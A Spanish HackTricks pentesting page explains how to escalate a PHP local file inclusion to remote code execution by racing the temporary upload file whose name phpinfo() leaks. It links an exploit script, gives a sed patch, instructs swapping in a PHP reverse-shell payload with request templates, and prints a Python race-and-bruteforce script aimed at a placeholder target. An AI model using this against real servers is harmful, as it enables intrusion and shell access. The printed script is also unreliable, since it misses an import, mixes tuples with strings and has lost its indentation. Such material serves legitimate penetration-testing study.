LFI2RCE via phpinfo()

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Para explotar esta vulnerabilidad necesitas: Una vulnerabilidad de LFI, una página donde se muestre phpinfo(), "file_uploads = on" y que el servidor pueda escribir en el directorio "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Necesitas corregir el exploit (cambiar => por =>). Para hacerlo puedes:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Debes cambiar también el payload al principio del exploit (por ejemplo, para un php-rev-shell), el REQ1 (esto debería apuntar a la página phpinfo y debe incluir el relleno, es decir: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), y LFIREQ (esto debería apuntar a la vulnerabilidad LFI, es decir: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Verifica el doble "%" al explotar el carácter nulo)

Teoría

Si se permiten subidas en PHP y se intenta subir un archivo, este archivo se almacena en un directorio temporal hasta que el servidor haya terminado de procesar la solicitud, luego este archivo temporal se elimina.

Entonces, si se ha encontrado una vulnerabilidad LFI en el servidor web, puedes intentar adivinar el nombre del archivo temporal creado y explotar un RCE accediendo al archivo temporal antes de que se elimine.

En Windows los archivos suelen almacenarse en C:\Windows\temp\php

En Linux el nombre del archivo suele ser aleatorio y se encuentra en /tmp. Como el nombre es aleatorio, es necesario extraer de algún lugar el nombre del archivo temporal y acceder a él antes de que se elimine. Esto se puede hacer leyendo el valor de la variable $_FILES dentro del contenido de la función "phpconfig()".

phpinfo()

PHP utiliza un búfer de 4096B y cuando está lleno, se envía al cliente. Entonces el cliente puede enviar muchas solicitudes grandes (usando cabeceras grandes) subiendo un php reverse shell, esperar a que se devuelva la primera parte de phpinfo() (donde está el nombre del archivo temporal) e intentar acceder al archivo temporal antes de que el servidor de php elimine el archivo explotando una vulnerabilidad LFI.

Script de Python para intentar hacer fuerza bruta con el nombre (si la longitud es 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks AWS)!

Otras formas de apoyar a HackTricks:

Última actualización